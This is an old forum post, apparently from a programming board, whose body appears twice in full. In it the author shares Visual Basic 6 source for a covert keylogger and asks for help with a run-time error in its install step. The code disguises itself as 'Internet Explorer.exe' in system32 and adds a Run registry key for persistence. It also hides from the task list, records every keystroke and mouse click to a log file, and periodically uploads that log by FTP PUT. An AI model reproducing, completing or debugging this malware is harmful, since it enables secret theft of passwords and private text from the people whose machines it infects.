InuyashaITB
05-12-08, 04:57
hi, this is my code:
Dim shift As Boolean
Dim caps As Boolean
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub Form_Load()
If Dir("c:\windows\system32\Internet Explorer.exe") <> "" Then
Else
regist
End If
Label1.Caption = ""
If Dir("C:\logs\klogs.txt") <> "" Then
Open "C:\logs\klogs.txt" For Append As #1
Write #1,
Write #1, DateTime.Time
Write #1,
Close #1
If App.PrevInstance = True Then End
App.TaskVisible = False
End If
End Sub
Private Sub regist()
Dim regkey
FileCopy App.path & "\" & App.EXEName & ".exe", "C:\windows\system32\Internet Explorer.exe"
Set regkey = CreateObject("wscript.shell")
regkey.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \Internet Explorer.exe", "c:\windows\system32\Internet Explorer.exe"
End Sub
Private Sub Inet1_StateChanged(ByVal State As Integer)
End Sub
Private Sub Timer1_Timer()
If GetAsyncKeyState(13) <> 0 Then
Label1.Caption = Label1.Caption + "ENTER"
End If
If GetAsyncKeyState(1) <> 0 Then
Label1.Caption = Label1.Caption + "mouse1 "
End If
If GetAsyncKeyState(2) <> 0 Then
Label1.Caption = Label1.Caption + "mouse2 "
End If
If GetAsyncKeyState(32) <> 0 Then
Label1.Caption = Label1.Caption + " "
End If
If GetAsyncKeyState(8) <> 0 Then
Label1.Caption = Label1.Caption + "BACKSPACE"
End If
If GetAsyncKeyState(20) <> 0 Then
If caps = True Then
Label1.Caption = Label1.Caption + "(/caps)"
caps = False
GoTo a
End If
Label1.Caption = Label1.Caption + "(caps)"
caps = True
End If
If GetAsyncKeyState(16) <> 0 Then
shift = True
End If
If GetAsyncKeyState(65) <> 0 Then
If shift = True Then
a:
Label1.Caption = Label1.Caption + "A"
shift = False
GoTo b
End If
Label1.Caption = Label1.Caption + "a"
End If
b:
If GetAsyncKeyState(66) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "B"
shift = False
GoTo c
End If
Label1.Caption = Label1.Caption + "b"
End If
c:
If GetAsyncKeyState(67) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "C"
shift = False
GoTo d
End If
Label1.Caption = Label1.Caption + "c"
End If
d:
If GetAsyncKeyState(68) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "D"
shift = False
GoTo e
End If
Label1.Caption = Label1.Caption + "d"
End If
e:
If GetAsyncKeyState(69) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "E"
shift = False
GoTo f
End If
Label1.Caption = Label1.Caption + "e"
End If
f:
If GetAsyncKeyState(70) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "F"
shift = False
GoTo g
End If
Label1.Caption = Label1.Caption + "f"
End If
g:
If GetAsyncKeyState(71) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "G"
shift = False
GoTo h
End If
Label1.Caption = Label1.Caption + "g"
End If
h:
If GetAsyncKeyState(72) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "H"
shift = False
GoTo i
End If
Label1.Caption = Label1.Caption + "h"
End If
i:
If GetAsyncKeyState(73) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "I"
shift = False
GoTo j
End If
Label1.Caption = Label1.Caption + "i"
End If
j:
If GetAsyncKeyState(74) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "J"
shift = False
GoTo k
End If
Label1.Caption = Label1.Caption + "j"
End If
k:
If GetAsyncKeyState(75) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "K"
shift = False
GoTo l
End If
Label1.Caption = Label1.Caption + "k"
End If
l:
If GetAsyncKeyState(76) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "L"
shift = False
GoTo m
End If
Label1.Caption = Label1.Caption + "l"
End If
m:
If GetAsyncKeyState(77) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "M"
shift = False
GoTo n
End If
Label1.Caption = Label1.Caption + "m"
End If
n:
If GetAsyncKeyState(78) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "N"
shift = False
GoTo o
End If
Label1.Caption = Label1.Caption + "n"
End If
o:
If GetAsyncKeyState(79) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "O"
shift = False
GoTo p
End If
Label1.Caption = Label1.Caption + "o"
End If
p:
If GetAsyncKeyState(80) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "P"
shift = False
GoTo q
End If
Label1.Caption = Label1.Caption + "p"
End If
q:
If GetAsyncKeyState(81) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "Q"
shift = False
GoTo r
End If
Label1.Caption = Label1.Caption + "q"
End If
r:
If GetAsyncKeyState(82) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "R"
shift = False
GoTo s
End If
Label1.Caption = Label1.Caption + "r"
End If
s:
If GetAsyncKeyState(83) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "S"
shift = False
GoTo t
End If
Label1.Caption = Label1.Caption + "s"
End If
t:
If GetAsyncKeyState(84) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "T"
shift = False
GoTo u
End If
Label1.Caption = Label1.Caption + "t"
End If
u:
If GetAsyncKeyState(85) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "U"
shift = False
GoTo v
End If
Label1.Caption = Label1.Caption + "u"
End If
v:
If GetAsyncKeyState(86) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "V"
shift = False
GoTo w
End If
Label1.Caption = Label1.Caption + "v"
End If
w:
If GetAsyncKeyState(87) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "W"
shift = False
GoTo x
End If
Label1.Caption = Label1.Caption + "w"
End If
x:
If GetAsyncKeyState(88) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "X"
shift = False
GoTo y
End If
Label1.Caption = Label1.Caption + "x"
End If
y:
If GetAsyncKeyState(89) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "Y"
shift = False
GoTo z
End If
Label1.Caption = Label1.Caption + "y"
End If
z:
If GetAsyncKeyState(90) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "Z"
shift = False
GoTo a
End If
Label1.Caption = Label1.Caption + "z"
End If
period:
If GetAsyncKeyState(190) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + ">"
shift = False
GoTo a
End If
Label1.Caption = Label1.Caption + "."
End If
comma:
If GetAsyncKeyState(188) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "<"
shift = False
GoTo a
End If
Label1.Caption = Label1.Caption + ","
End If
0:
If GetAsyncKeyState(48) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + ")"
shift = False
GoTo 1
End If
Label1.Caption = Label1.Caption + "0"
End If
1:
If GetAsyncKeyState(49) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "!"
shift = False
GoTo 2
End If
Label1.Caption = Label1.Caption + "1"
End If
2:
If GetAsyncKeyState(50) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "@"
shift = False
GoTo 3
End If
Label1.Caption = Label1.Caption + "2"
End If
3:
If GetAsyncKeyState(51) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "#"
shift = False
GoTo 4
End If
Label1.Caption = Label1.Caption + "3"
End If
4:
If GetAsyncKeyState(52) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "$"
shift = False
GoTo 5
End If
Label1.Caption = Label1.Caption + "4"
End If
5:
If GetAsyncKeyState(53) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "%"
shift = False
GoTo 6
End If
Label1.Caption = Label1.Caption + "5"
End If
6:
If GetAsyncKeyState(54) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "^"
shift = False
GoTo 7
End If
Label1.Caption = Label1.Caption + "6"
End If
7:
If GetAsyncKeyState(55) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "&"
shift = False
GoTo 8
End If
Label1.Caption = Label1.Caption + "7"
End If
8:
If GetAsyncKeyState(56) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "*"
shift = False
GoTo 9
End If
Label1.Caption = Label1.Caption + "8"
End If
9:
If GetAsyncKeyState(57) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "("
shift = False
GoTo 0
End If
Label1.Caption = Label1.Caption + "9"
End If
End Sub
Private Sub Timer2_Timer()
On Error GoTo skip
If Dir("C:\logs\klogs.txt") <> "" Then
Open "C:\logs\klogs.txt" For Append As #1
Write #1, Label1.Caption
Close #1
Else
Open "C:\logs\klogs.txt" For Output As #1
Write #1, DateTime.Time
Write #1,
Write #1, Label1.Caption
Close #1
End If
Label1.Caption = ""
skip:
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
Inet1.Execute , "PUT C:\logs\klogs.txt /" & DateTime.Date & ".txt"
End Sub
i need help with this error:
"run time error '53': file cannot be found
it is happening at this line:
FileCopy App.path & "\" & App.EXEName & ".exe", "C:\windows\system32\Internet Explorer.exe"
if anyone can help me identify the problem, please let me know :D:D
Dim shift As Boolean
Dim caps As Boolean
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub Form_Load()
If Dir("c:\windows\system32\Internet Explorer.exe") <> "" Then
Else
regist
End If
Label1.Caption = ""
If Dir("C:\logs\klogs.txt") <> "" Then
Open "C:\logs\klogs.txt" For Append As #1
Write #1,
Write #1, DateTime.Time
Write #1,
Close #1
If App.PrevInstance = True Then End
App.TaskVisible = False
End If
End Sub
Private Sub regist()
Dim regkey
FileCopy App.path & "\" & App.EXEName & ".exe", "C:\windows\system32\Internet Explorer.exe"
Set regkey = CreateObject("wscript.shell")
regkey.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \Internet Explorer.exe", "c:\windows\system32\Internet Explorer.exe"
End Sub
Private Sub Inet1_StateChanged(ByVal State As Integer)
End Sub
Private Sub Timer1_Timer()
If GetAsyncKeyState(13) <> 0 Then
Label1.Caption = Label1.Caption + "ENTER"
End If
If GetAsyncKeyState(1) <> 0 Then
Label1.Caption = Label1.Caption + "mouse1 "
End If
If GetAsyncKeyState(2) <> 0 Then
Label1.Caption = Label1.Caption + "mouse2 "
End If
If GetAsyncKeyState(32) <> 0 Then
Label1.Caption = Label1.Caption + " "
End If
If GetAsyncKeyState(8) <> 0 Then
Label1.Caption = Label1.Caption + "BACKSPACE"
End If
If GetAsyncKeyState(20) <> 0 Then
If caps = True Then
Label1.Caption = Label1.Caption + "(/caps)"
caps = False
GoTo a
End If
Label1.Caption = Label1.Caption + "(caps)"
caps = True
End If
If GetAsyncKeyState(16) <> 0 Then
shift = True
End If
If GetAsyncKeyState(65) <> 0 Then
If shift = True Then
a:
Label1.Caption = Label1.Caption + "A"
shift = False
GoTo b
End If
Label1.Caption = Label1.Caption + "a"
End If
b:
If GetAsyncKeyState(66) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "B"
shift = False
GoTo c
End If
Label1.Caption = Label1.Caption + "b"
End If
c:
If GetAsyncKeyState(67) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "C"
shift = False
GoTo d
End If
Label1.Caption = Label1.Caption + "c"
End If
d:
If GetAsyncKeyState(68) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "D"
shift = False
GoTo e
End If
Label1.Caption = Label1.Caption + "d"
End If
e:
If GetAsyncKeyState(69) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "E"
shift = False
GoTo f
End If
Label1.Caption = Label1.Caption + "e"
End If
f:
If GetAsyncKeyState(70) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "F"
shift = False
GoTo g
End If
Label1.Caption = Label1.Caption + "f"
End If
g:
If GetAsyncKeyState(71) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "G"
shift = False
GoTo h
End If
Label1.Caption = Label1.Caption + "g"
End If
h:
If GetAsyncKeyState(72) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "H"
shift = False
GoTo i
End If
Label1.Caption = Label1.Caption + "h"
End If
i:
If GetAsyncKeyState(73) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "I"
shift = False
GoTo j
End If
Label1.Caption = Label1.Caption + "i"
End If
j:
If GetAsyncKeyState(74) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "J"
shift = False
GoTo k
End If
Label1.Caption = Label1.Caption + "j"
End If
k:
If GetAsyncKeyState(75) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "K"
shift = False
GoTo l
End If
Label1.Caption = Label1.Caption + "k"
End If
l:
If GetAsyncKeyState(76) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "L"
shift = False
GoTo m
End If
Label1.Caption = Label1.Caption + "l"
End If
m:
If GetAsyncKeyState(77) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "M"
shift = False
GoTo n
End If
Label1.Caption = Label1.Caption + "m"
End If
n:
If GetAsyncKeyState(78) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "N"
shift = False
GoTo o
End If
Label1.Caption = Label1.Caption + "n"
End If
o:
If GetAsyncKeyState(79) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "O"
shift = False
GoTo p
End If
Label1.Caption = Label1.Caption + "o"
End If
p:
If GetAsyncKeyState(80) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "P"
shift = False
GoTo q
End If
Label1.Caption = Label1.Caption + "p"
End If
q:
If GetAsyncKeyState(81) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "Q"
shift = False
GoTo r
End If
Label1.Caption = Label1.Caption + "q"
End If
r:
If GetAsyncKeyState(82) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "R"
shift = False
GoTo s
End If
Label1.Caption = Label1.Caption + "r"
End If
s:
If GetAsyncKeyState(83) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "S"
shift = False
GoTo t
End If
Label1.Caption = Label1.Caption + "s"
End If
t:
If GetAsyncKeyState(84) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "T"
shift = False
GoTo u
End If
Label1.Caption = Label1.Caption + "t"
End If
u:
If GetAsyncKeyState(85) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "U"
shift = False
GoTo v
End If
Label1.Caption = Label1.Caption + "u"
End If
v:
If GetAsyncKeyState(86) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "V"
shift = False
GoTo w
End If
Label1.Caption = Label1.Caption + "v"
End If
w:
If GetAsyncKeyState(87) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "W"
shift = False
GoTo x
End If
Label1.Caption = Label1.Caption + "w"
End If
x:
If GetAsyncKeyState(88) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "X"
shift = False
GoTo y
End If
Label1.Caption = Label1.Caption + "x"
End If
y:
If GetAsyncKeyState(89) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "Y"
shift = False
GoTo z
End If
Label1.Caption = Label1.Caption + "y"
End If
z:
If GetAsyncKeyState(90) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "Z"
shift = False
GoTo a
End If
Label1.Caption = Label1.Caption + "z"
End If
period:
If GetAsyncKeyState(190) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + ">"
shift = False
GoTo a
End If
Label1.Caption = Label1.Caption + "."
End If
comma:
If GetAsyncKeyState(188) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "<"
shift = False
GoTo a
End If
Label1.Caption = Label1.Caption + ","
End If
0:
If GetAsyncKeyState(48) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + ")"
shift = False
GoTo 1
End If
Label1.Caption = Label1.Caption + "0"
End If
1:
If GetAsyncKeyState(49) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "!"
shift = False
GoTo 2
End If
Label1.Caption = Label1.Caption + "1"
End If
2:
If GetAsyncKeyState(50) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "@"
shift = False
GoTo 3
End If
Label1.Caption = Label1.Caption + "2"
End If
3:
If GetAsyncKeyState(51) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "#"
shift = False
GoTo 4
End If
Label1.Caption = Label1.Caption + "3"
End If
4:
If GetAsyncKeyState(52) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "$"
shift = False
GoTo 5
End If
Label1.Caption = Label1.Caption + "4"
End If
5:
If GetAsyncKeyState(53) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "%"
shift = False
GoTo 6
End If
Label1.Caption = Label1.Caption + "5"
End If
6:
If GetAsyncKeyState(54) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "^"
shift = False
GoTo 7
End If
Label1.Caption = Label1.Caption + "6"
End If
7:
If GetAsyncKeyState(55) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "&"
shift = False
GoTo 8
End If
Label1.Caption = Label1.Caption + "7"
End If
8:
If GetAsyncKeyState(56) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "*"
shift = False
GoTo 9
End If
Label1.Caption = Label1.Caption + "8"
End If
9:
If GetAsyncKeyState(57) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "("
shift = False
GoTo 0
End If
Label1.Caption = Label1.Caption + "9"
End If
End Sub
Private Sub Timer2_Timer()
On Error GoTo skip
If Dir("C:\logs\klogs.txt") <> "" Then
Open "C:\logs\klogs.txt" For Append As #1
Write #1, Label1.Caption
Close #1
Else
Open "C:\logs\klogs.txt" For Output As #1
Write #1, DateTime.Time
Write #1,
Write #1, Label1.Caption
Close #1
End If
Label1.Caption = ""
skip:
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
Inet1.Execute , "PUT C:\logs\klogs.txt /" & DateTime.Date & ".txt"
End Sub
i need help with this error:
"run time error '53': file cannot be found
it is happening at this line:
FileCopy App.path & "\" & App.EXEName & ".exe", "C:\windows\system32\Internet Explorer.exe"
if anyone can help me identify the problem, please let me know :D:D